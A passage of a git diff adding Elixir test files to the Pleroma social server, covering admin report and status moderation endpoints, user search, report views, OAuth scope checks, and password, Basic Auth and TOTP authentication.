[activity.id] + }) + + {:ok, %{id: second_report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I don't like this user" + }) + + CommonAPI.update_report_state(second_report_id, "closed") + + response = + conn + |> get(report_path(conn, :index, %{state: "open"})) + |> json_response_and_validate_schema(:ok) + + assert [open_report] = response["reports"] + + assert length(response["reports"]) == 1 + assert open_report["id"] == first_report_id + + assert response["total"] == 1 + + response = + conn + |> get(report_path(conn, :index, %{state: "closed"})) + |> json_response_and_validate_schema(:ok) + + assert [closed_report] = response["reports"] + + assert length(response["reports"]) == 1 + assert closed_report["id"] == second_report_id + + assert response["total"] == 1 + + assert %{"total" => 0, "reports" => []} == + conn + |> get(report_path(conn, :index, %{state: "resolved"})) + |> json_response_and_validate_schema(:ok) + end + + test "returns 403 when requested by a non-admin" do + user = insert(:user) + token = insert(:oauth_token, user: user) + + conn = + build_conn() + |> assign(:user, user) + |> assign(:token, token) + |> get("/api/pleroma/admin/reports") + + assert json_response(conn, :forbidden) == + %{"error" => "User is not an admin."} + end + + test "returns 403 when requested by anonymous" do + conn = get(build_conn(), "/api/pleroma/admin/reports") + + assert json_response(conn, :forbidden) == %{ + "error" => "Invalid credentials." + } + end + end + + describe "POST /api/pleroma/admin/reports/:id/notes" do + setup %{conn: conn, admin: admin} do + [reporter, target_user] = insert_pair(:user) + activity = insert(:note_activity, user: target_user) + + {:ok, %{id: report_id}} = + CommonAPI.report(reporter, %{ + account_id: target_user.id, + comment: "I feel offended", + status_ids: [activity.id] + }) + + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/reports/#{report_id}/notes", %{ + content: "this is disgusting!" + }) + + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/admin/reports/#{report_id}/notes", %{ + content: "this is disgusting2!" + }) + + %{ + admin_id: admin.id, + report_id: report_id + } + end + + test "it creates report note", %{admin_id: admin_id, report_id: report_id} do + assert [note, _] = Repo.all(ReportNote) + + assert %{ + activity_id: ^report_id, + content: "this is disgusting!", + user_id: ^admin_id + } = note + end + + test "it returns reports with notes", %{conn: conn, admin: admin} do + conn = get(conn, "/api/pleroma/admin/reports") + + response = json_response_and_validate_schema(conn, 200) + notes = hd(response["reports"])["notes"] + [note, _] = notes + + assert note["user"]["nickname"] == admin.nickname + assert note["content"] == "this is disgusting!" + assert note["created_at"] + assert response["total"] == 1 + end + + test "it deletes the note", %{conn: conn, report_id: report_id} do + assert ReportNote |> Repo.all() |> length() == 2 + assert [note, _] = Repo.all(ReportNote) + + delete(conn, "/api/pleroma/admin/reports/#{report_id}/notes/#{note.id}") + + assert ReportNote |> Repo.all() |> length() == 1 + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/status_controller_test.exs b/test/pleroma/web/admin_api/controllers/status_controller_test.exs new file mode 100644 index 000000000..eff78fb0a --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/status_controller_test.exs @@ -0,0 +1,202 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.StatusControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Activity + alias Pleroma.Config + alias Pleroma.ModerationLog + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "GET /api/pleroma/admin/statuses/:id" do + test "not found", %{conn: conn} do + assert conn + |> get("/api/pleroma/admin/statuses/not_found") + |> json_response_and_validate_schema(:not_found) + end + + test "shows activity", %{conn: conn} do + activity = insert(:note_activity) + + response = + conn + |> get("/api/pleroma/admin/statuses/#{activity.id}") + |> json_response_and_validate_schema(200) + + assert response["id"] == activity.id + + account = response["account"] + actor = User.get_by_ap_id(activity.actor) + + assert account["id"] == actor.id + assert account["nickname"] == actor.nickname + assert account["deactivated"] == actor.deactivated + assert account["confirmation_pending"] == actor.confirmation_pending + end + end + + describe "PUT /api/pleroma/admin/statuses/:id" do + setup do + activity = insert(:note_activity) + + %{id: activity.id} + end + + test "toggle sensitive flag", %{conn: conn, id: id, admin: admin} do + response = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "true"}) + |> json_response_and_validate_schema(:ok) + + assert response["sensitive"] + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} updated status ##{id}, set sensitive: 'true'" + + response = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "false"}) + |> json_response_and_validate_schema(:ok) + + refute response["sensitive"] + end + + test "change visibility flag", %{conn: conn, id: id, admin: admin} do + response = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "public"}) + |> json_response_and_validate_schema(:ok) + + assert response["visibility"] == "public" + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} updated status ##{id}, set visibility: 'public'" + + response = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "private"}) + |> json_response_and_validate_schema(:ok) + + assert response["visibility"] == "private" + + response = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "unlisted"}) + |> json_response_and_validate_schema(:ok) + + assert response["visibility"] == "unlisted" + end + + test "returns 400 when visibility is unknown", %{conn: conn, id: id} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/pleroma/admin/statuses/#{id}", %{visibility: "test"}) + + assert %{"error" => "test - Invalid value for enum."} = + json_response_and_validate_schema(conn, :bad_request) + end + end + + describe "DELETE /api/pleroma/admin/statuses/:id" do + setup do + activity = insert(:note_activity) + + %{id: activity.id} + end + + test "deletes status", %{conn: conn, id: id, admin: admin} do + conn + |> delete("/api/pleroma/admin/statuses/#{id}") + |> json_response_and_validate_schema(:ok) + + refute Activity.get_by_id(id) + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} deleted status ##{id}" + end + + test "returns 404 when the status does not exist", %{conn: conn} do + conn = delete(conn, "/api/pleroma/admin/statuses/test") + + assert json_response_and_validate_schema(conn, :not_found) == %{"error" => "Not found"} + end + end + + describe "GET /api/pleroma/admin/statuses" do + test "returns all public and unlisted statuses", %{conn: conn, admin: admin} do + blocked = insert(:user) + user = insert(:user) + User.block(admin, blocked) + + {:ok, _} = CommonAPI.post(user, %{status: "@#{admin.nickname}", visibility: "direct"}) + + {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "unlisted"}) + {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "private"}) + {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "public"}) + {:ok, _} = CommonAPI.post(blocked, %{status: ".", visibility: "public"}) + + response = + conn + |> get("/api/pleroma/admin/statuses") + |> json_response_and_validate_schema(200) + + refute "private" in Enum.map(response, & &1["visibility"]) + assert length(response) == 3 + end + + test "returns only local statuses with local_only on", %{conn: conn} do + user = insert(:user) + remote_user = insert(:user, local: false, nickname: "archaeme@archae.me") + insert(:note_activity, user: user, local: true) + insert(:note_activity, user: remote_user, local: false) + + response = + conn + |> get("/api/pleroma/admin/statuses?local_only=true") + |> json_response_and_validate_schema(200) + + assert length(response) == 1 + end + + test "returns private and direct statuses with godmode on", %{conn: conn, admin: admin} do + user = insert(:user) + + {:ok, _} = CommonAPI.post(user, %{status: "@#{admin.nickname}", visibility: "direct"}) + + {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "private"}) + {:ok, _} = CommonAPI.post(user, %{status: ".", visibility: "public"}) + conn = get(conn, "/api/pleroma/admin/statuses?godmode=true") + assert json_response_and_validate_schema(conn, 200) |> length() == 3 + end + end +end diff --git a/test/pleroma/web/admin_api/search_test.exs b/test/pleroma/web/admin_api/search_test.exs new file mode 100644 index 000000000..d88867c52 --- /dev/null +++ b/test/pleroma/web/admin_api/search_test.exs @@ -0,0 +1,190 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.SearchTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.AdminAPI.Search + + import Pleroma.Factory + + describe "search for admin" do + test "it ignores case" do + insert(:user, nickname: "papercoach") + insert(:user, nickname: "CanadaPaperCoach") + + {:ok, _results, count} = + Search.user(%{ + query: "paper", + local: false, + page: 1, + page_size: 50 + }) + + assert count == 2 + end + + test "it returns local/external users" do + insert(:user, local: true) + insert(:user, local: false) + insert(:user, local: false) + + {:ok, _results, local_count} = + Search.user(%{ + query: "", + local: true + }) + + {:ok, _results, external_count} = + Search.user(%{ + query: "", + external: true + }) + + assert local_count == 1 + assert external_count == 2 + end + + test "it returns active/deactivated users" do + insert(:user, deactivated: true) + insert(:user, deactivated: true) + insert(:user, deactivated: false) + + {:ok, _results, active_count} = + Search.user(%{ + query: "", + active: true + }) + + {:ok, _results, deactivated_count} = + Search.user(%{ + query: "", + deactivated: true + }) + + assert active_count == 1 + assert deactivated_count == 2 + end + + test "it returns specific user" do + insert(:user) + insert(:user) + user = insert(:user, nickname: "bob", local: true, deactivated: false) + + {:ok, _results, total_count} = Search.user(%{query: ""}) + + {:ok, [^user], count} = + Search.user(%{ + query: "Bo", + active: true, + local: true + }) + + assert total_count == 3 + assert count == 1 + end + + test "it returns user by domain" do + insert(:user) + insert(:user) + user = insert(:user, nickname: "some@domain.com") + + {:ok, _results, total} = Search.user() + {:ok, [^user], count} = Search.user(%{query: "domain.com"}) + assert total == 3 + assert count == 1 + end + + test "it return user by full nickname" do + insert(:user) + insert(:user) + user = insert(:user, nickname: "some@domain.com") + + {:ok, _results, total} = Search.user() + {:ok, [^user], count} = Search.user(%{query: "some@domain.com"}) + assert total == 3 + assert count == 1 + end + + test "it returns admin user" do + admin = insert(:user, is_admin: true) + insert(:user) + insert(:user) + + {:ok, _results, total} = Search.user() + {:ok, [^admin], count} = Search.user(%{is_admin: true}) + assert total == 3 + assert count == 1 + end + + test "it returns moderator user" do + moderator = insert(:user, is_moderator: true) + insert(:user) + insert(:user) + + {:ok, _results, total} = Search.user() + {:ok, [^moderator], count} = Search.user(%{is_moderator: true}) + assert total == 3 + assert count == 1 + end + + test "it returns users with tags" do + user1 = insert(:user, tags: ["first"]) + user2 = insert(:user, tags: ["second"]) + insert(:user) + insert(:user) + + {:ok, _results, total} = Search.user() + {:ok, users, count} = Search.user(%{tags: ["first", "second"]}) + assert total == 4 + assert count == 2 + assert user1 in users + assert user2 in users + end + + test "it returns user by display name" do + user = insert(:user, name: "Display name") + insert(:user) + insert(:user) + + {:ok, _results, total} = Search.user() + {:ok, [^user], count} = Search.user(%{name: "display"}) + + assert total == 3 + assert count == 1 + end + + test "it returns user by email" do + user = insert(:user, email: "some@example.com") + insert(:user) + insert(:user) + + {:ok, _results, total} = Search.user() + {:ok, [^user], count} = Search.user(%{email: "some@example.com"}) + + assert total == 3 + assert count == 1 + end + + test "it returns unapproved user" do + unapproved = insert(:user, approval_pending: true) + insert(:user) + insert(:user) + + {:ok, _results, total} = Search.user() + {:ok, [^unapproved], count} = Search.user(%{need_approval: true}) + assert total == 3 + assert count == 1 + end + + test "it returns non-discoverable users" do + insert(:user) + insert(:user, discoverable: false) + + {:ok, _results, total} = Search.user() + + assert total == 2 + end + end +end diff --git a/test/pleroma/web/admin_api/views/report_view_test.exs b/test/pleroma/web/admin_api/views/report_view_test.exs new file mode 100644 index 000000000..5a02292be --- /dev/null +++ b/test/pleroma/web/admin_api/views/report_view_test.exs @@ -0,0 +1,146 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.ReportViewTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Web.AdminAPI + alias Pleroma.Web.AdminAPI.Report + alias Pleroma.Web.AdminAPI.ReportView + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI + alias Pleroma.Web.MastodonAPI.StatusView + + test "renders a report" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.report(user, %{account_id: other_user.id}) + + expected = %{ + content: nil, + actor: + Map.merge( + MastodonAPI.AccountView.render("show.json", %{user: user, skip_visibility_check: true}), + AdminAPI.AccountView.render("show.json", %{user: user}) + ), + account: + Map.merge( + MastodonAPI.AccountView.render("show.json", %{ + user: other_user, + skip_visibility_check: true + }), + AdminAPI.AccountView.render("show.json", %{user: other_user}) + ), + statuses: [], + notes: [], + state: "open", + id: activity.id + } + + result = + ReportView.render("show.json", Report.extract_report_info(activity)) + |> Map.delete(:created_at) + + assert result == expected + end + + test "includes reported statuses" do + user = insert(:user) + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(other_user, %{status: "toot"}) + + {:ok, report_activity} = + CommonAPI.report(user, %{account_id: other_user.id, status_ids: [activity.id]}) + + other_user = Pleroma.User.get_by_id(other_user.id) + + expected = %{ + content: nil, + actor: + Map.merge( + MastodonAPI.AccountView.render("show.json", %{user: user, skip_visibility_check: true}), + AdminAPI.AccountView.render("show.json", %{user: user}) + ), + account: + Map.merge( + MastodonAPI.AccountView.render("show.json", %{ + user: other_user, + skip_visibility_check: true + }), + AdminAPI.AccountView.render("show.json", %{user: other_user}) + ), + statuses: [StatusView.render("show.json", %{activity: activity})], + state: "open", + notes: [], + id: report_activity.id + } + + result = + ReportView.render("show.json", Report.extract_report_info(report_activity)) + |> Map.delete(:created_at) + + assert result == expected + end + + test "renders report's state" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.report(user, %{account_id: other_user.id}) + {:ok, activity} = CommonAPI.update_report_state(activity.id, "closed") + + assert %{state: "closed"} = + ReportView.render("show.json", Report.extract_report_info(activity)) + end + + test "renders report description" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.report(user, %{ + account_id: other_user.id, + comment: "posts are too good for this instance" + }) + + assert %{content: "posts are too good for this instance"} = + ReportView.render("show.json", Report.extract_report_info(activity)) + end + + test "sanitizes report description" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.report(user, %{ + account_id: other_user.id, + comment: "" + }) + + data = Map.put(activity.data, "content", "") + activity = Map.put(activity, :data, data) + + refute "" == + ReportView.render("show.json", Report.extract_report_info(activity))[:content] + end + + test "doesn't error out when the user doesn't exists" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.report(user, %{ + account_id: other_user.id, + comment: "" + }) + + Pleroma.User.delete(other_user) + Pleroma.User.invalidate_cache(other_user) + + assert %{} = ReportView.render("show.json", Report.extract_report_info(activity)) + end +end diff --git a/test/pleroma/web/api_spec/schema_examples_test.exs b/test/pleroma/web/api_spec/schema_examples_test.exs new file mode 100644 index 000000000..f00e834fc --- /dev/null +++ b/test/pleroma/web/api_spec/schema_examples_test.exs @@ -0,0 +1,43 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ApiSpec.SchemaExamplesTest do + use ExUnit.Case, async: true + import Pleroma.Tests.ApiSpecHelpers + + @content_type "application/json" + + for operation <- api_operations() do + describe operation.operationId <> " Request Body" do + if operation.requestBody do + @media_type operation.requestBody.content[@content_type] + @schema resolve_schema(@media_type.schema) + + if @media_type.example do + test "request body media type example matches schema" do + assert_schema(@media_type.example, @schema) + end + end + + if @schema.example do + test "request body schema example matches schema" do + assert_schema(@schema.example, @schema) + end + end + end + end + + for {status, response} <- operation.responses, is_map(response.content[@content_type]) do + describe "#{operation.operationId} - #{status} Response" do + @schema resolve_schema(response.content[@content_type].schema) + + if @schema.example do + test "example matches schema" do + assert_schema(@schema.example, @schema) + end + end + end + end + end +end diff --git a/test/pleroma/web/auth/auth_controller_test.exs b/test/pleroma/web/auth/auth_controller_test.exs new file mode 100644 index 000000000..498554060 --- /dev/null +++ b/test/pleroma/web/auth/auth_controller_test.exs @@ -0,0 +1,242 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Auth.AuthControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + describe "do_oauth_check" do + test "serves with proper OAuth token (fulfilling requested scopes)" do + %{conn: good_token_conn, user: user} = oauth_access(["read"]) + + assert %{"user_id" => user.id} == + good_token_conn + |> get("/test/authenticated_api/do_oauth_check") + |> json_response(200) + + # Unintended usage (:api) — use with :authenticated_api instead + assert %{"user_id" => user.id} == + good_token_conn + |> get("/test/api/do_oauth_check") + |> json_response(200) + end + + test "fails on no token / missing scope(s)" do + %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) + + bad_token_conn + |> get("/test/authenticated_api/do_oauth_check") + |> json_response(403) + + bad_token_conn + |> assign(:token, nil) + |> get("/test/api/do_oauth_check") + |> json_response(403) + end + end + + describe "fallback_oauth_check" do + test "serves with proper OAuth token (fulfilling requested scopes)" do + %{conn: good_token_conn, user: user} = oauth_access(["read"]) + + assert %{"user_id" => user.id} == + good_token_conn + |> get("/test/api/fallback_oauth_check") + |> json_response(200) + + # Unintended usage (:authenticated_api) — use with :api instead + assert %{"user_id" => user.id} == + good_token_conn + |> get("/test/authenticated_api/fallback_oauth_check") + |> json_response(200) + end + + test "for :api on public instance, drops :user and renders on no token / missing scope(s)" do + clear_config([:instance, :public], true) + + %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) + + assert %{"user_id" => nil} == + bad_token_conn + |> get("/test/api/fallback_oauth_check") + |> json_response(200) + + assert %{"user_id" => nil} == + bad_token_conn + |> assign(:token, nil) + |> get("/test/api/fallback_oauth_check") + |> json_response(200) + end + + test "for :api on private instance, fails on no token / missing scope(s)" do + clear_config([:instance, :public], false) + + %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) + + bad_token_conn + |> get("/test/api/fallback_oauth_check") + |> json_response(403) + + bad_token_conn + |> assign(:token, nil) + |> get("/test/api/fallback_oauth_check") + |> json_response(403) + end + end + + describe "skip_oauth_check" do + test "for :authenticated_api, serves if :user is set (regardless of token / token scopes)" do + user = insert(:user) + + assert %{"user_id" => user.id} == + build_conn() + |> assign(:user, user) + |> get("/test/authenticated_api/skip_oauth_check") + |> json_response(200) + + %{conn: bad_token_conn, user: user} = oauth_access(["irrelevant_scope"]) + + assert %{"user_id" => user.id} == + bad_token_conn + |> get("/test/authenticated_api/skip_oauth_check") + |> json_response(200) + end + + test "serves via :api on public instance if :user is not set" do + clear_config([:instance, :public], true) + + assert %{"user_id" => nil} == + build_conn() + |> get("/test/api/skip_oauth_check") + |> json_response(200) + + build_conn() + |> get("/test/authenticated_api/skip_oauth_check") + |> json_response(403) + end + + test "fails on private instance if :user is not set" do + clear_config([:instance, :public], false) + + build_conn() + |> get("/test/api/skip_oauth_check") + |> json_response(403) + + build_conn() + |> get("/test/authenticated_api/skip_oauth_check") + |> json_response(403) + end + end + + describe "fallback_oauth_skip_publicity_check" do + test "serves with proper OAuth token (fulfilling requested scopes)" do + %{conn: good_token_conn, user: user} = oauth_access(["read"]) + + assert %{"user_id" => user.id} == + good_token_conn + |> get("/test/api/fallback_oauth_skip_publicity_check") + |> json_response(200) + + # Unintended usage (:authenticated_api) + assert %{"user_id" => user.id} == + good_token_conn + |> get("/test/authenticated_api/fallback_oauth_skip_publicity_check") + |> json_response(200) + end + + test "for :api on private / public instance, drops :user and renders on token issue" do + %{conn: bad_token_conn} = oauth_access(["irrelevant_scope"]) + + for is_public <- [true, false] do + clear_config([:instance, :public], is_public) + + assert %{"user_id" => nil} == + bad_token_conn + |> get("/test/api/fallback_oauth_skip_publicity_check") + |> json_response(200) + + assert %{"user_id" => nil} == + bad_token_conn + |> assign(:token, nil) + |> get("/test/api/fallback_oauth_skip_publicity_check") + |> json_response(200) + end + end + end + + describe "skip_oauth_skip_publicity_check" do + test "for :authenticated_api, serves if :user is set (regardless of token / token scopes)" do + user = insert(:user) + + assert %{"user_id" => user.id} == + build_conn() + |> assign(:user, user) + |> get("/test/authenticated_api/skip_oauth_skip_publicity_check") + |> json_response(200) + + %{conn: bad_token_conn, user: user} = oauth_access(["irrelevant_scope"]) + + assert %{"user_id" => user.id} == + bad_token_conn + |> get("/test/authenticated_api/skip_oauth_skip_publicity_check") + |> json_response(200) + end + + test "for :api, serves on private and public instances regardless of whether :user is set" do + user = insert(:user) + + for is_public <- [true, false] do + clear_config([:instance, :public], is_public) + + assert %{"user_id" => nil} == + build_conn() + |> get("/test/api/skip_oauth_skip_publicity_check") + |> json_response(200) + + assert %{"user_id" => user.id} == + build_conn() + |> assign(:user, user) + |> get("/test/api/skip_oauth_skip_publicity_check") + |> json_response(200) + end + end + end + + describe "missing_oauth_check_definition" do + def test_missing_oauth_check_definition_failure(endpoint, expected_error) do + %{conn: conn} = oauth_access(["read", "write", "follow", "push", "admin"]) + + assert %{"error" => expected_error} == + conn + |> get(endpoint) + |> json_response(403) + end + + test "fails if served via :authenticated_api" do + test_missing_oauth_check_definition_failure( + "/test/authenticated_api/missing_oauth_check_definition", + "Security violation: OAuth scopes check was neither handled nor explicitly skipped." + ) + end + + test "fails if served via :api and the instance is private" do + clear_config([:instance, :public], false) + + test_missing_oauth_check_definition_failure( + "/test/api/missing_oauth_check_definition", + "This resource requires authentication." + ) + end + + test "succeeds with dropped :user if served via :api on public instance" do + %{conn: conn} = oauth_access(["read", "write", "follow", "push", "admin"]) + + assert %{"user_id" => nil} == + conn + |> get("/test/api/missing_oauth_check_definition") + |> json_response(200) + end + end +end diff --git a/test/pleroma/web/auth/authenticator_test.exs b/test/pleroma/web/auth/authenticator_test.exs new file mode 100644 index 000000000..d54253343 --- /dev/null +++ b/test/pleroma/web/auth/authenticator_test.exs @@ -0,0 +1,42 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Auth.AuthenticatorTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.Auth.Authenticator + import Pleroma.Factory + + describe "fetch_user/1" do + test "returns user by name" do + user = insert(:user) + assert Authenticator.fetch_user(user.nickname) == user + end + + test "returns user by email" do + user = insert(:user) + assert Authenticator.fetch_user(user.email) == user + end + + test "returns nil" do + assert Authenticator.fetch_user("email") == nil + end + end + + describe "fetch_credentials/1" do + test "returns name and password from authorization params" do + params = %{"authorization" => %{"name" => "test", "password" => "test-pass"}} + assert Authenticator.fetch_credentials(params) == {:ok, {"test", "test-pass"}} + end + + test "returns name and password with grant_type 'password'" do + params = %{"grant_type" => "password", "username" => "test", "password" => "test-pass"} + assert Authenticator.fetch_credentials(params) == {:ok, {"test", "test-pass"}} + end + + test "returns error" do + assert Authenticator.fetch_credentials(%{}) == {:error, :invalid_credentials} + end + end +end diff --git a/test/pleroma/web/auth/basic_auth_test.exs b/test/pleroma/web/auth/basic_auth_test.exs new file mode 100644 index 000000000..bf6e3d2fc --- /dev/null +++ b/test/pleroma/web/auth/basic_auth_test.exs @@ -0,0 +1,46 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Auth.BasicAuthTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + test "with HTTP Basic Auth used, grants access to OAuth scope-restricted endpoints", %{ + conn: conn + } do + user = insert(:user) + assert Pbkdf2.verify_pass("test", user.password_hash) + + basic_auth_contents = + (URI.encode_www_form(user.nickname) <> ":" <> URI.encode_www_form("test")) + |> Base.encode64() + + # Succeeds with HTTP Basic Auth + response = + conn + |> put_req_header("authorization", "Basic " <> basic_auth_contents) + |> get("/api/v1/accounts/verify_credentials") + |> json_response(200) + + user_nickname = user.nickname + assert %{"username" => ^user_nickname} = response + + # Succeeds with a properly scoped OAuth token + valid_token = insert(:oauth_token, scopes: ["read:accounts"]) + + conn + |> put_req_header("authorization", "Bearer #{valid_token.token}") + |> get("/api/v1/accounts/verify_credentials") + |> json_response(200) + + # Fails with a wrong-scoped OAuth token (proof of restriction) + invalid_token = insert(:oauth_token, scopes: ["read:something"]) + + conn + |> put_req_header("authorization", "Bearer #{invalid_token.token}") + |> get("/api/v1/accounts/verify_credentials") + |> json_response(403) + end +end diff --git a/test/pleroma/web/auth/pleroma_authenticator_test.exs b/test/pleroma/web/auth/pleroma_authenticator_test.exs new file mode 100644 index 000000000..1ba0dfecc --- /dev/null +++ b/test/pleroma/web/auth/pleroma_authenticator_test.exs @@ -0,0 +1,48 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Auth.PleromaAuthenticatorTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.Auth.PleromaAuthenticator + import Pleroma.Factory + + setup do + password = "testpassword" + name = "AgentSmith" + user = insert(:user, nickname: name, password_hash: Pbkdf2.hash_pwd_salt(password)) + {:ok, [user: user, name: name, password: password]} + end + + test "get_user/authorization", %{name: name, password: password} do + name = name <> "1" + user = insert(:user, nickname: name, password_hash: Bcrypt.hash_pwd_salt(password)) + + params = %{"authorization" => %{"name" => name, "password" => password}} + res = PleromaAuthenticator.get_user(%Plug.Conn{params: params}) + + assert {:ok, returned_user} = res + assert returned_user.id == user.id + assert "$pbkdf2" <> _ = returned_user.password_hash + end + + test "get_user/authorization with invalid password", %{name: name} do + params = %{"authorization" => %{"name" => name, "password" => "password"}} + res = PleromaAuthenticator.get_user(%Plug.Conn{params: params}) + + assert {:error, {:checkpw, false}} == res + end + + test "get_user/grant_type_password", %{user: user, name: name, password: password} do + params = %{"grant_type" => "password", "username" => name, "password" => password} + res = PleromaAuthenticator.get_user(%Plug.Conn{params: params}) + + assert {:ok, user} == res + end + + test "error credintails" do + res = PleromaAuthenticator.get_user(%Plug.Conn{params: %{}}) + assert {:error, :invalid_credentials} == res + end +end diff --git a/test/pleroma/web/auth/totp_authenticator_test.exs b/test/pleroma/web/auth/totp_authenticator_test.exs new file mode 100644 index 000000000..84d4cd840 --- /dev/null +++ b/test/pleroma/web/auth/totp_authenticator_test.exs @@ -0,0 +1,51 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Auth.TOTPAuthenticatorTest do + use Pleroma.Web.ConnCase + + alias Pleroma.MFA + alias Pleroma.MFA.BackupCodes + alias Pleroma.MFA.TOTP + alias Pleroma.Web.Auth.TOTPAuthenticator + + import Pleroma.Factory + + test "verify token" do + otp_secret = TOTP.generate_secret() + otp_token = TOTP.generate_token(otp_secret) + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + assert TOTPAuthenticator.verify(otp_token, user) == {:ok, :pass} + assert TOTPAuthenticator.verify(nil, user) == {:error, :invalid_token} + assert TOTPAuthenticator.verify("", user) == {:error, :invalid_token} + end + + test "checks backup codes" do + [code | _] = backup_codes = BackupCodes.generate() + + hashed_codes = + backup_codes + |> Enum.map(&Pbkdf2.hash_pwd_salt(&1)) + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + backup_codes: hashed_codes, + totp: %MFA.Settings.TOTP{secret: "otp_secret", confirmed: true} + } + ) + + assert TOTPAuthenticator.verify_recovery_code(user, code) == {:ok, :pass} + refute TOTPAuthenticator.verify_recovery_code(code, refresh_record(user)) == {:ok, :pass} + end +end diff --git a/test/pleroma/web/chat_channel_test.exs b/test/pleroma/web/chat_channel_test.exs new file mode 100644 index 000000000..32170873d --- /dev/null +++ b/test/pleroma/web/chat_channel_test.exs @@ -0,0 +1,41 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ChatChannelTest do + use Pleroma.Web.ChannelCase + alias Pleroma.Web.ChatChannel + alias Pleroma.Web.UserSocket + + import Pleroma.Factory + + setup do + user = insert(:user) + + {:ok, _, socket} = + socket(UserSocket, "", %{user_name: user.nickname}) + |> subscribe_and_join(ChatChannel, "chat:public") + + {:ok, socket: socket} + end + + test "it broadcasts a message", %{socket: socket} do + push(socket, "new_msg", %{"text" => "why is tenshi eating a corndog so cute?"}) + assert_broadcast("new_msg", %{text: "why is tenshi eating a corndog so cute?"}) + end + + describe "message lengths" do + setup do: clear_config([:instance, :chat_limit]) + + test "it ignores messages of length zero", %{socket: socket} do + push(socket, "new_msg", %{"text" => ""}) + refute_broadcast("new_msg", %{text: ""}) + end + + test "it ignores messages above a certain length", %{socket: socket} do + Pleroma.Config.put([:instance, :chat_limit], 2) + push(socket, "new_msg", %{"text" => "123"}) + refute_broadcast("new_msg", %{text: "123"}) + end + end +end diff --git a/test/pleroma/web/common_api/utils_test.exs b/test/pleroma/web/common_api/utils_test.exs new file mode 100644 index 000000000..e67c10b93 --- /dev/null +++ b/test/pleroma/web/common_api/utils_test.exs @@ -0,0 +1,593 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: 